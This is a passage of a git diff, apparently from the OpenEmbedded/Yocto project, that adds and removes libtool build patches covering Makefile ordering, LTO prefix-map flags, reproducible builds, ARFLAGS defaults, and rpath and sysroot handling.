+
+diff --git a/Makefile.am b/Makefile.am
+index 4142c90..fe1a9fc 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -365,7 +365,7 @@ lt_configure_deps = $(lt_aclocal_m4) $(lt_aclocal_m4_deps)
+ $(lt_aclocal_m4): $(lt_aclocal_m4_deps)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(ACLOCAL) -I ../m4
+
+-$(lt_configure): $(lt_configure_deps)
++$(lt_configure): $(lt_configure_deps) $(lt_config_h_in)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(AUTOCONF)
+
+ $(lt_config_h_in): $(lt_configure_deps)
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch b/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch
new file mode 100644
index 0000000000..cd963ef1be
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch
@@ -0,0 +1,36 @@
+From: Mingli Yu <mingli.yu@windriver.com>
+Subject: [PATCH 10/12] Makefile.am: make sure autoheader run before automake
+
+When use automake to generate Makefile.in from Makefile.am, there
+comes below race:
+ | configure.ac:45: error: required file 'config-h.in' not found
+
+It is because the file config-h.in in updating process by autoheader,
+so make automake run after autoheader to avoid the above race.
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00020.html]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 2752ecc..29950db 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -328,7 +328,7 @@ EXTRA_DIST += $(lt_aclocal_m4) \
+ $(lt_obsolete_m4) \
+ $(stamp_mk)
+
+-$(lt_Makefile_in): $(lt_Makefile_am) $(lt_aclocal_m4)
++$(lt_Makefile_in): $(lt_Makefile_am) $(lt_aclocal_m4) $(lt_config_h_in)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(AUTOMAKE) Makefile
+
+ # Don't let unused scripts leak into the libltdl Makefile
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch b/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch
new file mode 100644
index 0000000000..b121a3c750
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch
@@ -0,0 +1,26 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 11/12] ltmain.in: Handle prefix-map compiler options correctly
+
+If lto is enabled, we need the prefix-map variables to be passed to the linker.
+Add these to the list of options libtool passes through.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00019.html]
+
+Index: libtool-2.4.6/build-aux/ltmain.in
+===================================================================
+--- libtool-2.4.6.orig/build-aux/ltmain.in
++++ libtool-2.4.6/build-aux/ltmain.in
+@@ -5424,9 +5424,10 @@ func_mode_link ()
+ # --sysroot=* for sysroot support
+ # -O*, -g*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization
+ # -stdlib=* select c++ std lib with clang
++ # -f*-prefix-map* needed for lto linking
+ -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
+- -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*)
++ -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*|-f*-prefix-map*)
+ func_quote_for_eval "$arg"
+ arg=$func_quote_for_eval_result
+ func_append compile_command " $arg"
diff --git a/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch b/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch
new file mode 100644
index 0000000000..64f911d46c
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch
@@ -0,0 +1,27 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 12/12] libtool.m4: For reproducibility stop encoding hostname in libtool script
+
+For reproducibilty, stop encoding the hostname into the libtool script, this isn't
+really adding much to debugging and most distros are carrying such a patch now as
+reproducibility is important.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+https://sources.debian.org/data/main/libt/libtool/2.4.6-10/debian/patches/
+ no_hostname.patch
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00011.html]
+
+---
+Index: libtool-2.4.6/m4/libtool.m4
+===================================================================
+--- libtool-2.4.6.orig/m4/libtool.m4
++++ libtool-2.4.6/m4/libtool.m4
+@@ -728,7 +728,6 @@ _LT_CONFIG_SAVE_COMMANDS([
+ cat <<_LT_EOF >> "$cfgfile"
+ #! $SHELL
+ # Generated automatically by $as_me ($PACKAGE) $VERSION
+-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+
+ # Provide generalized library-building support services.
diff --git a/meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch b/meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch
new file mode 100644
index 0000000000..447640cef6
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch
@@ -0,0 +1,133 @@
+From 418129bc63afc312701e84cb8afa5ca413df1ab5 Mon Sep 17 00:00:00 2001
+From: Pavel Raiskup <praiskup@redhat.com>
+Date: Fri, 17 Apr 2015 16:54:58 +0200
+Subject: ARFLAGS: use 'cr' instead of 'cru' by default
+
+In some GNU/Linux distributions people started to compile 'ar'
+binary with --enable-deterministic-archives (binutils project).
+That, however, in combination with our previous long time working
+default AR_FLAGS=cru causes warnings on such installations:
+ar: `u' modifier ignored since `D' is the default (see `U')
+
+The 'u' option (at least with GNU binutils) did small optimization
+during repeated builds because it instructed 'ar' to not
+open/close unchanged *.o files and to rather read their contents
+from old archive file. However, its removal should not cause a
+big performance hit for usual workflows.
+
+Distributions started using --enable-deterministic-archives
+knowing that it would disable the 'u', just to rather have a bit
+more deterministic builds.
+
+Also, to justify this change a bit more, keeping 'u' in ARFLAGS
+could only result in many per-project changes to override
+Libtool's ARFLAGS default, just to silent such warnings.
+
+Fixes bug#19967. Reported by Eric Blake.
+
+* m4/libtool.m4 (_LT_PROG_AR): Default AR_FLAGS to 'cr'.
+(_LT_REQUIRED_DARWIN_CHECKS): Use $AR_FLAGS instead 'cru' string.
+* doc/libtool.texi: Do 's/ar cru/ar cr/' in whole documentation.
+* NEWS: Document.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=418129bc63afc312701e84cb8afa5ca413df1ab5]
+
+Signed-off-by: Li Wang <li.wang@windriver.com>
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ NEWS | 4 ++++
+ doc/libtool.texi | 10 +++++-----
+ m4/libtool.m4 | 6 +++---
+ 3 files changed, 12 insertions(+), 8 deletions(-)
+
+diff --git a/NEWS b/NEWS
+index 71a932d..1518f09 100644
+--- a/NEWS
++++ b/NEWS
+@@ -13,6 +13,10 @@ NEWS - list of user-visible changes between releases of GNU Libtool
+ variable, which obsoletes AR_FLAGS. This is due to naming conventions
+ among other *FLAGS and to be consistent with Automake's ARFLAGS.
+
++** Important incompatible changes:
++
++ - Libtool changed ARFLAGS/AR_FLAGS default from 'cru' to 'cr'.
++
+ ** Bug fixes:
+
+ - Fix a race condition in ltdl dryrun test that would cause spurious
+diff --git a/doc/libtool.texi b/doc/libtool.texi
+index 0298627..4c664bb 100644
+--- a/doc/libtool.texi
++++ b/doc/libtool.texi
+@@ -602,7 +602,7 @@ Without libtool, the programmer would invoke the @command{ar} command to
+ create a static library:
+
+ @example
+-burger$ @kbd{ar cru libhello.a hello.o foo.o}
++burger$ @kbd{ar cr libhello.a hello.o foo.o}
+ burger$
+ @end example
+
+@@ -632,7 +632,7 @@ libtool are the same ones you would use to produce an executable named
+ a23$ @kbd{libtool --mode=link gcc -g -O -o libhello.la foo.o hello.o}
+ *** Warning: Linking the shared library libhello.la against the
+ *** non-libtool objects foo.o hello.o is not portable!
+-ar cru .libs/libhello.a
++ar cr .libs/libhello.a
+ ranlib .libs/libhello.a
+ creating libhello.la
+ (cd .libs && rm -f libhello.la && ln -s ../libhello.la libhello.la)
+@@ -662,7 +662,7 @@ archive, not a shared library (@pxref{Static libraries}).}:
+ @example
+ a23$ @kbd{libtool --mode=link gcc -g -O -o libhello.la foo.lo hello.lo \
+ -rpath /usr/local/lib -lm}
+-ar cru @value{objdir}/libhello.a foo.o hello.o
++ar cr @value{objdir}/libhello.a foo.o hello.o
+ ranlib @value{objdir}/libhello.a
+ creating libhello.la
+ (cd @value{objdir} && rm -f libhello.la && ln -s ../libhello.la libhello.la)
+@@ -676,7 +676,7 @@ burger$ @kbd{libtool --mode=link gcc -g -O -o libhello.la foo.lo hello.lo \
+ -rpath /usr/local/lib -lm}
+ rm -fr @value{objdir}/libhello.a @value{objdir}/libhello.la
+ ld -Bshareable -o @value{objdir}/libhello.so.0.0 @value{objdir}/foo.o @value{objdir}/hello.o -lm
+-ar cru @value{objdir}/libhello.a foo.o hello.o
++ar cr @value{objdir}/libhello.a foo.o hello.o
+ ranlib @value{objdir}/libhello.a
+ creating libhello.la
+ (cd @value{objdir} && rm -f libhello.la && ln -s ../libhello.la libhello.la)
+@@ -6001,7 +6001,7 @@ in cases where it is necessary.
+ @subsection Archivers
+
+ On all known systems, building a static library can be accomplished by
+-running @kbd{ar cru lib@var{name}.a @var{obj1}.o @var{obj2}.o @dots{}},
++running @kbd{ar cr lib@var{name}.a @var{obj1}.o @var{obj2}.o @dots{}},
+ where the @file{.a} file is the output library, and each @file{.o} file is an
+ object file.
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index 6514196..add06ee 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1041,8 +1041,8 @@ int forced_loaded() { return 2;}
+ _LT_EOF
+ echo "$LTCC $LTCFLAGS -c -o conftest.o conftest.c" >&AS_MESSAGE_LOG_FD
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&AS_MESSAGE_LOG_FD
+- echo "$AR cru libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
+- $AR cru libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
++ echo "$AR $AR_FLAGS libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
++ $AR $AR_FLAGS libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
+ echo "$RANLIB libconftest.a" >&AS_MESSAGE_LOG_FD
+ $RANLIB libconftest.a 2>&AS_MESSAGE_LOG_FD
+ cat > conftest.c << _LT_EOF
+@@ -1505,7 +1505,7 @@ _LT_DECL([], [AR], [1], [The archiver])
+ # ARFLAGS for automake and AR_FLAGS for libtool). FIXME: Make the AR_FLAGS
+ # variable obsoleted/removed.
+
+-test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cru}
++test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cr}
+ lt_ar_flags=$AR_FLAGS
+ _LT_DECL([], [lt_ar_flags], [0], [Flags to create an archive (by configure)])
+
+--
+2.23.0
+
diff --git a/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch b/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch
deleted file mode 100755
index 5add0cca3b..0000000000
--- a/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-libtool: remove host specific info from header file
-
-https://sources.debian.org/data/main/libt/libtool/2.4.6-10/debian/patches/
- no_hostname.patch
-
-Upstream-Status: Inappropriate [not author]
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
----
-Index: libtool-2.4.6/m4/libtool.m4
-===================================================================
---- libtool-2.4.6.orig/m4/libtool.m4
-+++ libtool-2.4.6/m4/libtool.m4
-@@ -728,7 +728,6 @@ _LT_CONFIG_SAVE_COMMANDS([
- cat <<_LT_EOF >> "$cfgfile"
- #! $SHELL
- # Generated automatically by $as_me ($PACKAGE) $VERSION
--# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
-
- # Provide generalized library-building support services.
diff --git a/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch b/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch
deleted file mode 100644
index 5c9f8cc9c0..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Enalbing sysroot support exposed a bug where the final library
-had an RPATH encoded into it which still pointed to the sysroot.
-This works around the issue until it gets sorted out upstream.
-
-Fix suggested by Richard Purdie <richard.purdie@intel.com>
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Randy Witt <randy.e.witt@linux.intel.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -7569,9 +7569,11 @@ EOF
- test relink = "$opt_mode" || rpath=$compile_rpath$rpath
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
-- func_replace_sysroot "$libdir"
-- libdir=$func_replace_sysroot_result
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
- else
-@@ -8301,6 +8303,10 @@ EOF
- hardcode_libdirs=
- for libdir in $compile_rpath $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
-@@ -8352,6 +8358,10 @@ EOF
- hardcode_libdirs=
- for libdir in $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
diff --git a/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch b/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch
deleted file mode 100644
index 1bd95980c0..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-Upstream-Status: Pending
-
-This patch updates libtool.m4 (and its output) to resolve a problem
-with variable 'lt_sysroot' not being properly updated if the option
-'--with[-libtool]-sysroot' is not provided when running the 'configure'
-script for a package.
-
-I have also reported the problem to libtool here
-
-http://lists.gnu.org/archive/html/bug-libtool/2013-09/msg00005.html
-
-Signed-off-by: Hans Beckerus <hans.beckerus at gmail.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
----
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -1225,16 +1225,21 @@ dnl lt_sysroot will always be passed unquoted. We quote it here
- dnl in case the user passed a directory name.
- lt_sysroot=
- case $with_libtool_sysroot in #(
-- yes)
-+ no)
- if test yes = "$GCC"; then
- lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ # Treat "/" the same a an unset sysroot. It seems to be more
-+ # compatible across host platforms that way!?
-+ if test "$lt_sysroot" = /; then
-+ lt_sysroot=
-+ fi
- fi
- ;; #(
-+ yes|''|/)
-+ ;; #(
- /*)
- lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
- ;; #(
-- no|'')
-- ;; #(
- *)
- AC_MSG_RESULT([$with_libtool_sysroot])
- AC_MSG_ERROR([The sysroot must be an absolute path.])
diff --git a/meta/recipes-devtools/libtool/libtool/fix-rpath.patch b/meta/recipes-devtools/libtool/libtool/fix-rpath.patch
deleted file mode 100644
index a2ec9473e7..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-rpath.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-We don't want to add RPATHS which match default linker
-search paths, they're a waste of space. This patch
-filters libtools list and removes the ones we don't need.
-
-RP 23/9/2011
-
-Upstream-Status: Pending
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-Index: libtool-2.4.2/build-aux/ltmain.in
-===================================================================
---- libtool-2.4.2.orig/build-aux/ltmain.in
-+++ libtool-2.4.2/build-aux/ltmain.in
-@@ -7286,8 +7286,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append dep_rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append dep_rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8019,8 +8025,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ rpath+=" $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8070,8 +8082,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
diff --git a/meta/recipes-devtools/libtool/libtool/fixinstall.patch b/meta/recipes-devtools/libtool/libtool/fixinstall.patch
index 8f343bf436..48330d82fb 100644
--- a/meta/recipes-devtools/libtool/libtool/fixinstall.patch
+++ b/meta/recipes-devtools/libtool/libtool/fixinstall.patch
@@ -27,9 +27,9 @@ diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
- if test -n "$relink_command"; then
+ if test "$fast_install" = no && test -n "$relink_command"; then
- # Strip any trailing slash from the destination.
- func_stripname '' '/' "$libdir"
- destlibdir=$func_stripname_result
+ # Strip any trailing slash from the destination.
+ func_stripname '' '/' "$libdir"
+ destlibdir=$func_stripname_result
@@ -2394,7 +2394,7 @@ func_mode_install ()
shift
diff --git a/meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch b/meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch
new file mode 100644
index 0000000000..bb11887cda
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch
@@ -0,0 +1,77 @@
+From 4335de1dfb7d2ec728427e07a54136b94a2d40f6 Mon Sep 17 00:00:00 2001
+From: Pavel Raiskup <praiskup@redhat.com>
+Date: Fri, 17 Apr 2015 15:05:42 +0200
+Subject: libool.m4: add ARFLAGS variable
+
+Libtool has used $AR_FLAGS since 2000-05-29 commit
+8300de4c54e6f04f0d, Automake ARFLAGS since 2003-04-06 commit
+a71b3490639831ca. Even though ARFLAGS is younger, it sounds like
+better name according GNU Coding Standards.
+
+Related to bug#20082.
+
+* m4/libtool.m4 (_LT_PROG_AR): Copy ARFLAGS value into AR_FLAGS
+variable if AR_FLAGS is not set. Add new _LT_DECL'ed variable
+'lt_ar_flags' to keep the configure-time value of AR_FLAGS. The
+new 'lt_ar_flags' is to be used as the default value for AR_FLAGS
+at libtool-runtime.
+* NEWS: Document.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=4335de1dfb7d2ec728427e07a54136b94a2d40f6]
+
+Signed-off-by: Li Wang <li.wang@windriver.com>
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ NEWS | 6 ++++++
+ m4/libtool.m4 | 17 +++++++++++++++--
+ 2 files changed, 21 insertions(+), 2 deletions(-)
+
+diff --git a/NEWS b/NEWS
+index d7ca434..71a932d 100644
+--- a/NEWS
++++ b/NEWS
+@@ -7,6 +7,12 @@ NEWS - list of user-visible changes between releases of GNU Libtool
+ - LT_SYS_LIBRARY_PATH can be set in config.site, or at configure time
+ and persists correctly in the generated libtool script.
+
++** New features:
++
++ - Libtool script now supports (configure-time and runtime) ARFLAGS
++ variable, which obsoletes AR_FLAGS. This is due to naming conventions
++ among other *FLAGS and to be consistent with Automake's ARFLAGS.
++
+ ** Bug fixes:
+
+ - Fix a race condition in ltdl dryrun test that would cause spurious
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index 63acd09..6514196 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1497,9 +1497,22 @@ need_locks=$enable_libtool_lock
+ m4_defun([_LT_PROG_AR],
+ [AC_CHECK_TOOLS(AR, [ar], false)
+ : ${AR=ar}
+-: ${AR_FLAGS=cru}
+ _LT_DECL([], [AR], [1], [The archiver])
+-_LT_DECL([], [AR_FLAGS], [1], [Flags to create an archive])
++
++# Use ARFLAGS variable as AR's operation code to sync the variable naming with
++# Automake. If both AR_FLAGS and ARFLAGS are specified, AR_FLAGS should have
++# higher priority because thats what people were doing historically (setting
++# ARFLAGS for automake and AR_FLAGS for libtool). FIXME: Make the AR_FLAGS
++# variable obsoleted/removed.
++
++test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cru}
++lt_ar_flags=$AR_FLAGS
++_LT_DECL([], [lt_ar_flags], [0], [Flags to create an archive (by configure)])
++
++# Make AR_FLAGS overridable by 'make ARFLAGS='. Don't try to run-time override
++# by AR_FLAGS because that was never working and AR_FLAGS is about to die.
++_LT_DECL([], [AR_FLAGS], [\@S|@{ARFLAGS-"\@S|@lt_ar_flags"}],
++ [Flags to create an archive])
+
+ AC_CACHE_CHECK([for archiver @FILE support], [lt_cv_ar_at_file],
+ [lt_cv_ar_at_file=no
+--
+2.23.0
+
diff --git a/meta/recipes-devtools/libtool/libtool/norm-rpath.patch b/meta/recipes-devtools/libtool/libtool/norm-rpath.patch
deleted file mode 100644
index 1e4c65e024..0000000000
--- a/meta/recipes-devtools/libtool/libtool/norm-rpath.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-libtool: normalize link paths before considering for RPATH
-
-Libtool may be passed link paths of the form "/usr/lib/../lib", which
-fool its detection code into thinking it should be included as an
-RPATH in the generated binary. Normalize before comparision.
-
-Signed-off-by: Andy Ross <andy.ross@windriver.com>
-Upstream-Status: Pending
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff -ur a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in 2012-08-16 13:58:55.058900363 -0700
-+++ b/build-aux/ltmain.in 2012-08-22 11:01:34.191345989 -0700
-@@ -7288,8 +7288,10 @@
- else
- # We only want to hardcode in an rpath if it isn't in the
- # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
- case " $sys_lib_dlsearch_path " in
-- *" $libdir "*) ;;
-+ *" $libdir_norm "*) ;;
- *) eval flag=\"$hardcode_libdir_flag_spec\"
- func_append dep_rpath " $flag"
- ;;
-@@ -8027,8 +8029,10 @@
- else
- # We only want to hardcode in an rpath if it isn't in the
- # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
- case " $sys_lib_dlsearch_path " in
-- *" $libdir "*) ;;
-+ *" $libdir_norm "*) ;;
- *) eval flag=\"$hardcode_libdir_flag_spec\"
- rpath+=" $flag"
- ;;
diff --git a/meta/recipes-devtools/libtool/libtool/prefix.patch b/meta/recipes-devtools/libtool/libtool/prefix.patch
deleted file mode 100644
index a73df2e4a7..0000000000
--- a/meta/recipes-devtools/libtool/libtool/prefix.patch
+++ /dev/null
@@ -1,98 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Renames "libtool" -> "${TARGET_PREFIX}libtool" which makes sure
-it can't be confused with the host libtool.
-
-Originally by: RP
-
-Updated: Date: 2010/06/28
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-It also adjusts libtool so that the header at the script is used for
-script execution and not thevalue of $SHELL. This is because many
-Makefiles change $SHELL so dash can get used to execute what is
-otherwise configured as a bash shell script. Since we don't need to
-execute scipts this way on any system I'm aware of us building upon,
-the simplest fix is just to remove $SHELL.
-
-Updated: Date: 2011/11/09
-RP
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/Makefile.am b/Makefile.am
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -31,7 +31,7 @@ SUBDIRS = .
- DIST_SUBDIRS = $(SUBDIRS)
- EXTRA_DIST =
-
--BUILT_SOURCES = libtool libtoolize
-+BUILT_SOURCES = $(host_alias)-libtool libtoolize
-
- CLEANFILES =
- MOSTLYCLEANFILES =
-@@ -67,7 +67,7 @@ build_scripts = $(srcdir)/$(aux_dir)/announce-gen \
-
- EXTRA_DIST += bootstrap bootstrap.conf $(build_scripts) cfg.mk maint.mk \
- GNUmakefile
--CLEANFILES += libtool libtoolize
-+CLEANFILES += $(host_alias)-libtool libtoolize
-
- ## If a file is named several times below, and especially if it
- ## is a distributed file created during Libtool bootstrap, we
-@@ -276,7 +276,7 @@ configure_edit = $(bootstrap_edit) \
- -e 's|@srcdir\@|$(srcdir)|g'
-
- # The libtool distributor and the standalone libtool script.
--bin_SCRIPTS = libtool
-+bin_SCRIPTS = $(host_alias)-libtool
-
- libtoolize: $(libtoolize_in) $(config_status)
- $(AM_V_at)rm -f '$@'
-@@ -287,7 +287,7 @@ libtoolize: $(libtoolize_in) $(config_status)
- # We used to do this with a 'stamp-vcl' file, but non-gmake builds
- # would rerun configure on every invocation, so now we manually
- # check the version numbers from the build rule when necessary.
--libtool: $(ltmain_sh) $(config_status) $(dotversion)
-+$(host_alias)-libtool: $(ltmain_sh) $(config_status) $(dotversion)
- @$(rebuild); \
- if test -f '$@'; then \
- eval `'$(SED)' -n '/^package_revision=/p' '$@'`; \
-@@ -731,12 +731,12 @@ TESTS_ENVIRONMENT = MAKE="$(MAKE)" CC="$(CC)" CFLAGS="$(CFLAGS)" \
-
- BUILDCHECK_ENVIRONMENT = _lt_pkgdatadir="$(abs_top_srcdir)" \
- LIBTOOLIZE="$(abs_top_builddir)/libtoolize" \
-- LIBTOOL="$(abs_top_builddir)/libtool" \
-+ LIBTOOL="$(abs_top_builddir)/$(host_alias)-libtool" \
- tst_aclocaldir="$(abs_top_srcdir)/m4"
-
- INSTALLCHECK_ENVIRONMENT = \
- LIBTOOLIZE="$(bindir)/`echo libtoolize |$(SED) '$(program_transform_name)'`" \
-- LIBTOOL="$(bindir)/`echo libtool |$(SED) '$(program_transform_name)'`" \
-+ LIBTOOL="$(bindir)/`echo $(host_alias)-libtool |$(SED) '$(program_transform_name)'`" \
- LTDLINCL="-I$(includedir)" \
- LIBLTDL="$(libdir)/libltdl.la" \
- tst_aclocaldir="$(aclocaldir)"
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -86,7 +86,8 @@ _LT_SET_OPTIONS([$0], [$1])
- LIBTOOL_DEPS=$ltmain
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
- AC_SUBST(LIBTOOL)dnl
-
- _LT_SETUP
-@@ -199,7 +200,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a '.a' archive for static linking (except MSVC,
diff --git a/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch b/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch
deleted file mode 100644
index ad2b110530..0000000000
--- a/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch
+++ /dev/null
@@ -1,166 +0,0 @@
-Upstream-Status: Pending
-
-This patch renames the --with-sysroot option to --with-libtool-sysroot
-to avoid namespace conflict with binutils, gcc and other toolchain
-components.
-
